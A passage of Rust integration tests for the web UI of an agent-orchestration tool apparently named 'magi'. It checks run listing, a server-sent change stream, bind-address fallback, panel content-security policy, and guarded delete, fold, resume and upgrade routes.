5398 let detail = f.get("/api/runs/a1b2").await;
5401 assert_eq!(detail.status, 200);
5402 assert_eq!(detail.json()["base_branch"], "main");
5403 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
5404 }
5405
5406 #[tokio::test]
5411 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
5412 let f = Fixture::start().await;
5413 let id = "20260902-140502-bbbb";
5417 let mut state = RunState::new(
5418 PathBuf::from("/repo/magi"),
5419 "main".to_owned(),
5420 "0123456789abcdef".to_owned(),
5421 "Add a web UI".to_owned(),
5422 Config::default(),
5423 );
5424 state.id = id.to_owned();
5425 state.status = RunStatus::Judging;
5426 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
5427 let dir = f.runs().join(id);
5428 std::fs::create_dir_all(&dir).expect("run dir");
5429 std::fs::write(
5430 dir.join("run.json"),
5431 serde_json::to_string_pretty(&state).expect("serialize run"),
5432 )
5433 .expect("write run.json");
5434
5435 let cold = f.get(&format!("/api/runs/{id}")).await.json();
5438 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
5439 assert_eq!(cold["live"], false, "{cold}");
5440
5441 write_daemon(f.home.path(), Timestamp::now());
5444 let warm = f.get(&format!("/api/runs/{id}")).await.json();
5445 assert_eq!(warm["live"], true, "{warm}");
5446 }
5447
5448 #[tokio::test]
5449 async fn the_run_list_is_newest_first_and_honours_a_limit() {
5450 let f = Fixture::start().await;
5451 for id in [
5452 "20260902-140501-aaaa",
5453 "20260902-140502-bbbb",
5454 "20260902-140503-cccc",
5455 ] {
5456 write_run(&f.runs(), id, RunStatus::Merged);
5457 }
5458
5459 let all = f.get("/api/runs").await.json();
5460 let capped = f.get("/api/runs?limit=2").await.json();
5461
5462 assert_eq!(all[0]["id"], "20260902-140503-cccc");
5463 assert_eq!(all.as_array().map(Vec::len), Some(3));
5464 assert_eq!(capped.as_array().map(Vec::len), Some(2));
5465 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
5466 }
5467
5468 #[tokio::test]
5469 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
5470 let f = Fixture::start().await;
5471 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
5472
5473 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
5474
5475 assert_eq!(res.status, 200);
5476 assert!(
5477 res.headers
5478 .contains("content-type: text/plain; charset=utf-8"),
5479 "a browser must render it, not download it: {}",
5480 res.headers
5481 );
5482 assert!(
5486 res.body.contains("20260902-140501-a1b2"),
5487 "the report is about the run that was asked for: {}",
5488 res.body
5489 );
5490 }
5491
5492 #[tokio::test]
5493 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
5494 let f = Fixture::start().await;
5495
5496 let html = f.get("/").await;
5497 let css = f.get("/app.css").await;
5498 let js = f.get("/app.js").await;
5499
5500 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
5501 assert!(
5502 html.headers
5503 .contains("content-type: text/html; charset=utf-8")
5504 );
5505 assert!(css.headers.contains("content-type: text/css"));
5506 assert!(js.headers.contains("content-type: text/javascript"));
5507 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
5508 }
5509
5510 #[tokio::test]
5511 async fn the_change_stream_announces_the_current_revisions_on_connect() {
5512 let f = Fixture::start().await;
5513
5514 let mut socket = tokio::net::TcpStream::connect(f.addr)
5515 .await
5516 .expect("connect");
5517 socket
5518 .write_all(
5519 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
5520 )
5521 .await
5522 .expect("write request");
5523
5524 let mut seen = String::new();
5527 let mut buf = [0u8; 1024];
5528 while !seen.contains("event: change") {
5529 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
5530 .await
5531 .expect("the stream must speak within five seconds")
5532 .expect("read");
5533 assert!(read > 0, "the server closed the change stream: {seen}");
5534 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
5535 }
5536
5537 assert!(
5538 seen.to_lowercase()
5539 .contains("content-type: text/event-stream"),
5540 "the browser only reconnects automatically for a real SSE stream: {seen}"
5541 );
5542 let data = seen
5543 .lines()
5544 .find_map(|l| l.strip_prefix("data:"))
5545 .expect("a data line");
5546 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
5547 assert!(
5548 payload["queue_rev"].is_u64()
5549 && payload["runs_rev"].is_u64()
5550 && payload["questions_rev"].is_u64()
5551 && payload["chats_rev"].is_u64()
5552 && payload["talks_rev"].is_u64()
5553 && payload["loop_rev"].is_u64(),
5554 "the client needs one revision per store to know what to refetch, \
5555 and `chats_rev` / `talks_rev` are the only notification a slow \
5556 interview or a standing talk get - a phone whose radio slept \
5557 through a turn learns about it here, as does one whose operator \
5558 started the loop from another device: {payload}"
5559 );
5560
5561 let health = f.get("/api/health").await.json();
5568 for key in [
5569 "queue_rev",
5570 "runs_rev",
5571 "questions_rev",
5572 "chats_rev",
5573 "talks_rev",
5574 "loop_rev",
5575 ] {
5576 assert!(
5577 health[key].is_u64(),
5578 "health is the change stream's fallback and is missing `{key}`: {health}"
5579 );
5580 }
5581 }
5582
5583 #[tokio::test]
5584 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
5585 let f = Fixture::start().await;
5586 let before = f.get("/api/health").await.json()["talks_rev"]
5587 .as_u64()
5588 .expect("talks_rev");
5589
5590 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
5591 std::thread::sleep(Duration::from_millis(10));
5592 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
5593 on_disk.turns.push(crate::talk::Turn {
5594 who: crate::talk::Who::Operator,
5595 body: "a new turn".to_owned(),
5596 at: Timestamp::now(),
5597 });
5598 f.talks().put(&mut on_disk).expect("record a turn");
5599
5600 let after = f.get("/api/health").await.json()["talks_rev"]
5601 .as_u64()
5602 .expect("talks_rev");
5603 assert_ne!(
5604 before, after,
5605 "a phone must be able to notice a talk's reply without polling every store"
5606 );
5607 }
5608
5609 #[test]
5610 fn bind_reads_back_from_the_spelling_the_cli_prints() {
5611 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
5615 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
5616 }
5617 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
5618 assert!("everywhere".parse::<Bind>().is_err());
5619 }
5620
5621 #[test]
5622 fn an_explicit_bind_address_is_taken_verbatim() {
5623 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
5624
5625 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
5626
5627 assert_eq!(addr, asked);
5628 assert!(
5629 warning.is_none(),
5630 "an operator who named an address gets no lecture"
5631 );
5632 }
5633
5634 #[test]
5635 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
5636 let (addr, warning) = resolve_bind(&Bind::Auto);
5637
5638 match addr {
5645 IpAddr::V4(ip) if is_tailnet(&ip) => {
5646 assert!(warning.is_none(), "a tailnet address needs no warning");
5647 }
5648 other => {
5649 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
5650 let warning = warning.expect("a fallback has to explain itself");
5651 assert!(
5652 warning.contains("127.0.0.1") && warning.contains("local-only"),
5653 "the warning says what happened and what it costs: {warning}"
5654 );
5655 }
5656 }
5657 }
5658
5659 #[test]
5660 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
5661 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
5665 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
5666 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
5667 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
5668 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
5669 }
5670
5671 #[test]
5672 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
5673 let ids = vec![
5674 "20260902-140501-aaaa".to_owned(),
5675 "20260902-140502-aabb".to_owned(),
5676 ];
5677
5678 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
5679 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
5680 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
5681
5682 assert_eq!(missing.status, StatusCode::NOT_FOUND);
5683 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
5684 assert_eq!(short, "20260902-140502-aabb");
5685 }
5686 #[tokio::test]
5687 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
5688 let fx = Fixture::start().await;
5694 let id = panel(
5695 &fx,
5696 "<img src=\"shot.png\">",
5697 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
5698 );
5699
5700 let doc = fx
5702 .get(&format!("/api/questions/{id}/panel/index.html"))
5703 .await;
5704 assert_eq!(doc.status, 200, "{}", doc.body);
5705 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
5706
5707 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
5708 assert_eq!(sibling.status, 200, "{}", sibling.body);
5709 assert_eq!(sibling.header("content-type"), Some("image/png"));
5710 assert_eq!(
5711 sibling.header("content-security-policy"),
5712 Some(PANEL_CSP),
5713 "the sibling route must carry the same policy as the asset route"
5714 );
5715
5716 assert_eq!(
5719 fx.head(&format!("/api/questions/{id}/panel")).await.status,
5720 200
5721 );
5722 }
5723
5724 #[test]
5725 fn runs_revision_moves_when_deleting_an_older_run() {
5726 let temp = TempDir::new().expect("tempdir");
5727 let runs = temp.path().join("runs");
5728 std::fs::create_dir_all(&runs).expect("create runs dir");
5729
5730 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
5731
5732 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
5733 std::thread::sleep(Duration::from_millis(10));
5734 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
5735
5736 let rev_before = runs_revision(&runs);
5737 assert!(rev_before > 0);
5738
5739 let old_dir = runs.join("20260901-100000-old1");
5740 std::fs::remove_dir_all(&old_dir).expect("remove old run");
5741
5742 let rev_after = runs_revision(&runs);
5743 assert_ne!(
5744 rev_before, rev_after,
5745 "deleting an older run must change the revision so other clients see the deletion"
5746 );
5747 }
5748
5749 fn write_state(runs: &FsPath, state: &RunState) {
5754 let dir = runs.join(&state.id);
5755 std::fs::create_dir_all(&dir).expect("run dir");
5756 std::fs::write(
5757 dir.join("run.json"),
5758 serde_json::to_string_pretty(state).expect("serialize run"),
5759 )
5760 .expect("write run.json");
5761 }
5762
5763 #[test]
5768 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
5769 let temp = TempDir::new().expect("tempdir");
5770 let runs = temp.path().join("runs");
5771 std::fs::create_dir_all(&runs).expect("create runs dir");
5772 let mut state = RunState::new(
5773 PathBuf::from("/repo/magi"),
5774 "main".to_owned(),
5775 "0123456789abcdef".to_owned(),
5776 "task".to_owned(),
5777 Config::default(),
5778 );
5779 state.id = "20260902-100000-c0de".to_owned();
5780 write_state(&runs, &state);
5781
5782 let rev_idle = runs_revision(&runs);
5783 std::thread::sleep(Duration::from_millis(10));
5784 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
5785 write_state(&runs, &state);
5786 let rev_started = runs_revision(&runs);
5787 assert_ne!(
5788 rev_idle, rev_started,
5789 "a seat starting must move the revision"
5790 );
5791
5792 std::thread::sleep(Duration::from_millis(10));
5793 state.seat_finished("judge-1");
5794 write_state(&runs, &state);
5795 let rev_finished = runs_revision(&runs);
5796 assert_ne!(
5797 rev_started, rev_finished,
5798 "and clearing it again must move the revision a second time"
5799 );
5800 }
5801
5802 #[tokio::test]
5803 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
5804 let fx = Fixture::start().await;
5805 let q = fx.queue();
5806
5807 let mut t1 = Task::new(
5809 "Task 1".to_owned(),
5810 "Instruction 1".to_owned(),
5811 PathBuf::from("/repo"),
5812 Source::Human,
5813 );
5814 let run_id = "20260901-000000-r111";
5815 t1.runs.push(run_id.to_owned());
5816 write_run(&fx.runs(), run_id, RunStatus::Merged);
5817 q.put(&mut t1).expect("put t1");
5818
5819 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
5821 assert_eq!(res.status, 204);
5822 assert!(res.body.is_empty(), "204 No Content has no body");
5823 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
5824 assert!(
5825 fx.runs().join(run_id).exists(),
5826 "run directory must not be deleted when its task is deleted"
5827 );
5828
5829 let mut t2 = Task::new(
5831 "Task 2".to_owned(),
5832 "Instruction 2".to_owned(),
5833 PathBuf::from("/repo"),
5834 Source::Human,
5835 );
5836 t2.status = TaskStatus::Running;
5837 q.put(&mut t2).expect("put t2");
5838 let mut beat = crate::daemon::Status::new();
5839 beat.current = Some(crate::daemon::Current {
5840 task: t2.id.clone(),
5841 run: "20260901-000000-r222".to_owned(),
5842 });
5843 beat.updated_at = jiff::Timestamp::now();
5844 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5845 .expect("publish a heartbeat");
5846 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
5847 assert_eq!(res.status, 409);
5848 assert!(
5849 res.json()["error"]
5850 .as_str()
5851 .unwrap()
5852 .contains("live daemon")
5853 );
5854 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
5855
5856 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
5862 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5863 .expect("leave a stale heartbeat");
5864 let mut t3 = Task::new(
5865 "Task 3".to_owned(),
5866 "Instruction 3".to_owned(),
5867 PathBuf::from("/repo"),
5868 Source::Human,
5869 );
5870 t3.status = TaskStatus::Running;
5871 q.put(&mut t3).expect("put t3");
5872 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
5873 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
5874 assert_eq!(res.status, 204);
5875 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
5876 assert!(
5877 q.claim(&t3.id).is_ok(),
5878 "the stale lock went with it, so the id is claimable again"
5879 );
5880
5881 let res = fx.delete("/api/queue/nonexistent").await;
5883 assert_eq!(res.status, 404);
5884 }
5885
5886 #[tokio::test]
5887 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
5888 let fx = Fixture::start().await;
5889 let runs = fx.runs();
5890
5891 let run_id = "20260901-000000-fold";
5893 let mut state = RunState::new(
5894 PathBuf::from("/repo"),
5895 "main".to_owned(),
5896 "abc".to_owned(),
5897 "instruction".to_owned(),
5898 Config::default(),
5899 );
5900 state.id = run_id.to_owned();
5901 state.status = RunStatus::Merged;
5902 state.candidates.push(crate::run::Candidate {
5903 index: 0,
5904 label: 'A',
5905 agent: "a".to_owned(),
5906 branch: "b".to_owned(),
5907 worktree: PathBuf::from("/w"),
5908 summary: String::new(),
5909 stat: String::new(),
5910 files: 1,
5911 commits: 1,
5912 empty: false,
5913 failed: None,
5914 duration_ms: 0,
5915 folded: true,
5916 });
5917 let dir = runs.join(run_id);
5918 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
5919 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
5920 .expect("write artifact");
5921 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
5922 .expect("write run.json");
5923
5924 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
5926 assert_eq!(res.status, 204);
5927 assert!(res.body.is_empty(), "204 has no body");
5928 assert!(!dir.exists(), "run directory and artifacts must be deleted");
5929
5930 let run_running = "20260901-000000-rung";
5935 write_run(&runs, run_running, RunStatus::Prep);
5936 let mut beat = crate::daemon::Status::new();
5937 beat.current = Some(crate::daemon::Current {
5938 task: "20260901-000000-task".to_owned(),
5939 run: run_running.to_owned(),
5940 });
5941 beat.updated_at = jiff::Timestamp::now();
5942 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5943 .expect("publish a heartbeat");
5944 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
5945 assert_eq!(res.status, 409);
5946 assert!(
5947 res.json()["error"]
5948 .as_str()
5949 .unwrap()
5950 .contains("live daemon"),
5951 "the refusal must say who is holding it"
5952 );
5953 assert!(
5954 runs.join(run_running).exists(),
5955 "a run in flight keeps its directory"
5956 );
5957
5958 let run_unfolded = "20260901-000000-unfd";
5960 let mut state2 = RunState::new(
5961 PathBuf::from("/repo"),
5962 "main".to_owned(),
5963 "abc".to_owned(),
5964 "instruction".to_owned(),
5965 Config::default(),
5966 );
5967 state2.id = run_unfolded.to_owned();
5968 state2.status = RunStatus::Ready;
5969 state2.candidates.push(crate::run::Candidate {
5970 index: 0,
5971 label: 'A',
5972 agent: "a".to_owned(),
5973 branch: "b".to_owned(),
5974 worktree: PathBuf::from("/w"),
5975 summary: String::new(),
5976 stat: String::new(),
5977 files: 1,
5978 commits: 1,
5979 empty: false,
5980 failed: None,
5981 duration_ms: 0,
5982 folded: false,
5983 });
5984 let dir2 = runs.join(run_unfolded);
5985 std::fs::create_dir_all(&dir2).expect("create dir2");
5986 std::fs::write(
5987 dir2.join("run.json"),
5988 serde_json::to_string(&state2).unwrap(),
5989 )
5990 .expect("write run.json");
5991
5992 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
5993 assert_eq!(res.status, 409);
5994 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
5995 assert!(dir2.exists(), "unfolded run directory is kept");
5996
5997 let res = fx.delete("/api/runs/nonexistent").await;
5999 assert_eq!(res.status, 404);
6000 }
6001
6002 #[test]
6003 fn web_ui_delete_contract_in_front_end() {
6004 assert!(APP_JS.contains("deleteRun:"));
6006 assert!(APP_JS.contains("deleteTask:"));
6007
6008 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
6010 ..APP_JS.find("function renderRuns").unwrap()];
6011 assert!(!run_cards_slice.to_lowercase().contains("delete"));
6012
6013 assert!(APP_JS.contains("renderRunDelete"));
6015 assert!(APP_JS.contains("runDeleteReason"));
6016 assert!(APP_JS.contains("magi fold"));
6017 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
6018
6019 assert!(APP_JS.contains("cancel.focus"));
6021 assert!(APP_JS.contains("armedRunDelete"));
6022 assert!(APP_JS.contains("armedDelete"));
6023
6024 assert!(APP_JS.contains("disabled: status === \"running\""));
6026 }
6027
6028 #[test]
6048 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
6049 let build = APP_JS
6050 .find("function createRunCard")
6051 .expect("createRunCard exists");
6052 let update = APP_JS
6053 .find("function updateRunCard")
6054 .expect("updateRunCard exists");
6055 let end = APP_JS
6056 .find("function renderRuns")
6057 .expect("renderRuns exists");
6058
6059 let builder = &APP_JS[build..update];
6061 let open = builder.find("refs = {").expect("createRunCard sets refs");
6062 let literal = &builder[open + "refs = {".len()..];
6063 let close = literal.find('}').expect("the refs literal is closed");
6064 let published: HashSet<&str> = literal[..close]
6065 .split(',')
6066 .filter_map(|entry| entry.split(':').next())
6068 .map(str::trim)
6069 .filter(|name| !name.is_empty())
6070 .collect();
6071 assert!(
6072 published.len() > 5,
6073 "the refs literal did not parse into names: {published:?}"
6074 );
6075
6076 let mut used: Vec<&str> = Vec::new();
6079 let updaters = &APP_JS[update..end];
6080 for (at, _) in updaters.match_indices("r.") {
6081 let before = updaters[..at].chars().next_back();
6084 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
6085 continue;
6086 }
6087 let rest = &updaters[at + 2..];
6088 let len = rest
6089 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
6090 .unwrap_or(rest.len());
6091 if len > 0 {
6092 used.push(&rest[..len]);
6093 }
6094 }
6095 assert!(
6096 used.len() > 5,
6097 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
6098 );
6099
6100 let missing: Vec<&str> = used
6101 .iter()
6102 .copied()
6103 .filter(|name| !published.contains(name))
6104 .collect();
6105 assert!(
6106 missing.is_empty(),
6107 "a run card's updater reaches for {missing:?}, which `createRunCard` \
6108 never put in `refs` - every card will throw and the list will \
6109 render empty under a count line that says otherwise. Published: \
6110 {published:?}"
6111 );
6112 }
6113
6114 #[tokio::test]
6115 async fn folding_from_the_phone_reports_what_it_removed() {
6116 let fx = Fixture::start().await;
6117 let runs = fx.runs();
6118
6119 let id = "20260901-000000-fold";
6123 write_run(&runs, id, RunStatus::Stalled);
6124 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6125 assert_eq!(res.status, 200);
6126 assert_eq!(res.json()["removed_count"], 0);
6127 assert_eq!(res.json()["run"], id);
6128 assert!(
6129 runs.join(id).exists(),
6130 "a fold keeps the run's record; only the worktrees go"
6131 );
6132 }
6133
6134 #[tokio::test]
6135 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
6136 let fx = Fixture::start().await;
6137 let runs = fx.runs();
6138 let wt = fx.home.path().join("wt").join("magi").join("dead");
6139 let id = "20260901-000000-dead";
6140 std::fs::create_dir_all(runs.join(id)).expect("run dir");
6141 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6142 std::fs::create_dir_all(&wt).expect("worktree dir");
6143
6144 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6145 assert_eq!(res.status, 200, "{}", res.body);
6146 assert!(
6147 res.json()["removed_count"].as_u64().unwrap() > 0,
6148 "the worktree this build could not read a state for still went"
6149 );
6150 assert!(
6151 !runs.join(id).exists(),
6152 "an unreadable run has no candidate list to fold selectively, so \
6153 the whole record goes - same as `magi fold` on the CLI"
6154 );
6155 }
6156
6157 #[tokio::test]
6158 async fn deleting_an_unreadable_run_removes_it_wholesale() {
6159 let fx = Fixture::start().await;
6160 let runs = fx.runs();
6161 let wt = fx.home.path().join("wt").join("magi").join("gone");
6162 let id = "20260901-000000-gone";
6163 std::fs::create_dir_all(runs.join(id)).expect("run dir");
6164 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6165 std::fs::create_dir_all(&wt).expect("worktree dir");
6166
6167 let res = fx.delete(&format!("/api/runs/{id}")).await;
6168 assert_eq!(res.status, 204, "{}", res.body);
6169 assert!(!runs.join(id).exists(), "the broken record is gone");
6170 assert!(!wt.exists(), "its worktree is gone too");
6171 }
6172
6173 #[tokio::test]
6174 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
6175 let fx = Fixture::start().await;
6176 let runs = fx.runs();
6177 let id = "20260901-000000-live";
6178 write_run(&runs, id, RunStatus::Implementing);
6179
6180 let mut beat = crate::daemon::Status::new();
6181 beat.current = Some(crate::daemon::Current {
6182 task: "20260901-000000-task".to_owned(),
6183 run: id.to_owned(),
6184 });
6185 beat.updated_at = jiff::Timestamp::now();
6186 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6187 .expect("publish a heartbeat");
6188
6189 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6190 assert_eq!(res.status, 409);
6191 assert!(
6192 res.json()["error"]
6193 .as_str()
6194 .unwrap()
6195 .contains("live daemon"),
6196 "folding under a running agent would pull its worktree away"
6197 );
6198 }
6199
6200 #[tokio::test]
6201 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
6202 let fx = Fixture::start().await;
6203 let runs = fx.runs();
6204
6205 for (status, word) in [
6211 (RunStatus::Merged, "merged"),
6212 (RunStatus::Ready, "ready"),
6213 (RunStatus::Failed, "failed"),
6214 ] {
6215 let id = format!("20260901-000000-{}", &word[..4]);
6216 write_run(&runs, &id, status);
6217 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
6218 assert_eq!(res.status, 409, "{word} must not be resumable");
6219 let err = res.json()["error"].as_str().unwrap().to_owned();
6220 assert!(err.contains(word), "the refusal names the status: {err}");
6221 }
6222
6223 let mid = "20260901-000000-midf";
6228 write_run(&runs, mid, RunStatus::Reviewing);
6229 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
6230 assert_eq!(res.status, 202, "an interrupted run is resumable");
6231 }
6232
6233 #[tokio::test]
6234 async fn resume_is_refused_while_the_loop_is_running() {
6235 let fx = Fixture::start().await;
6236 let runs = fx.runs();
6237 let stalled = "20260901-000000-stal";
6238 write_run(&runs, stalled, RunStatus::Stalled);
6239
6240 let mut beat = crate::daemon::Status::new();
6243 beat.current = Some(crate::daemon::Current {
6244 task: "20260901-000000-task".to_owned(),
6245 run: "20260901-000000-othr".to_owned(),
6246 });
6247 beat.updated_at = jiff::Timestamp::now();
6248 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6249 .expect("publish a heartbeat");
6250
6251 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
6252 assert_eq!(res.status, 409);
6253 let err = res.json()["error"].as_str().unwrap().to_owned();
6254 assert!(err.contains("othr"), "it names what the loop is on: {err}");
6255 assert!(err.contains("one competition at a time"), "{err}");
6256 }
6257
6258 #[test]
6259 fn a_run_cannot_be_resumed_twice_at_once() {
6260 let home = TempDir::new().expect("temp home");
6261 let ui = Ui::new(
6262 Queue::at(home.path().join("queue")),
6263 Questions::at(home.path().join("questions")),
6264 Chats::at(home.path().join("chats")),
6265 Talks::at(home.path().join("talks")),
6266 home.path().join("runs"),
6267 home.path().to_path_buf(),
6268 PathBuf::from("/repo"),
6269 )
6270 .with_worktrees_root(home.path().join("wt"));
6271 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
6272 let again = ui.begin_resume("20260901-000000-once");
6273 assert!(again.is_err(), "a second tap must not start a second graph");
6274 drop(first);
6275 assert!(
6276 ui.begin_resume("20260901-000000-once").is_ok(),
6277 "and the claim is released when the attempt ends"
6278 );
6279 }
6280
6281 #[test]
6282 fn refreshing_a_conversation_never_navigates_to_it() {
6283 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
6290 ..APP_JS.find("async function startChat(").expect("startChat")];
6291 assert!(
6292 !body.contains("state.chatDetail = {"),
6293 "loadChat must not decide which conversation is on screen: {body}"
6294 );
6295 assert!(
6296 body.contains("if (state.chatDetail.id !== id) return;"),
6297 "it returns instead of drawing a chat the operator is not reading"
6298 );
6299
6300 assert!(
6304 body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
6305 "settle the turn before the on-screen check"
6306 );
6307
6308 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
6310 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
6311 }
6312
6313 #[tokio::test]
6314 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
6315 let fx = Fixture::start().await;
6316 let mut beat = crate::daemon::Status::new();
6320 beat.pid = 4321;
6321 beat.updated_at = jiff::Timestamp::now();
6322 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6323 .expect("publish a heartbeat");
6324
6325 let res = fx.post("/api/upgrade", None).await;
6326 assert_eq!(res.status, 409);
6327 let err = res.json()["error"].as_str().unwrap().to_owned();
6328 assert!(err.contains("4321"), "the refusal names the owner: {err}");
6329 assert!(err.contains("old one against the same queue"), "{err}");
6330 }
6331
6332 #[tokio::test]
6333 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
6334 let repo = TempDir::new().expect("repo dir");
6350 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6351 .expect("write magi.toml");
6352 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6353
6354 let res = fx.post("/api/upgrade", None).await;
6360 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
6361 let body = res.json();
6362 assert!(body["to"].is_null(), "there was no release to move to");
6363 assert!(body["parked"].is_null(), "and nothing was parked");
6364 assert!(
6365 body["detail"]
6366 .as_str()
6367 .unwrap()
6368 .contains("nothing restarted"),
6369 "{body:?}"
6370 );
6371 }
6372
6373 #[test]
6374 fn the_upgrade_button_arms_before_it_restarts_anything() {
6375 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
6378 assert!(APP_JS.contains("Replace the binary and restart?"));
6379 assert!(APP_JS.contains("function confirmed("));
6380 assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
6382 assert!(
6386 APP_JS.contains("Parking, then restarting"),
6387 "the button says what it is waiting for"
6388 );
6389 assert!(APP_JS.contains("if (!out.to)"));
6392 }
6393
6394 #[test]
6395 fn an_error_is_visible_from_where_the_button_is() {
6396 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
6401 ..APP_CSS.find(".alert-text").expect(".alert-text")];
6402 assert!(
6403 alert.contains("position: fixed"),
6404 "an error about the thing under your thumb has to be visible from \
6405 where your thumb is: {alert}"
6406 );
6407 assert!(
6408 alert.contains("z-index: 25"),
6409 "above the dock (20) and the run-actions FAB (15), so neither \
6410 buries it: {alert}"
6411 );
6412 assert!(
6413 alert.contains("var(--tap)"),
6414 "and clear of the dock and the home indicator: {alert}"
6415 );
6416 assert!(
6419 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
6420 "the FAB's column stays free: {alert}"
6421 );
6422 }
6423
6424 #[tokio::test]
6425 async fn an_older_attempt_says_what_replaced_it() {
6426 let fx = Fixture::start().await;
6427 let q = fx.queue();
6428 let runs = fx.runs();
6429 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
6430 write_run(&runs, first, RunStatus::Stalled);
6431 write_run(&runs, second, RunStatus::Blocked);
6432
6433 let mut t = Task::new(
6434 "one task".to_owned(),
6435 "do it".to_owned(),
6436 PathBuf::from("/repo"),
6437 Source::Human,
6438 );
6439 t.runs = vec![first.to_owned(), second.to_owned()];
6440 q.put(&mut t).expect("put");
6441
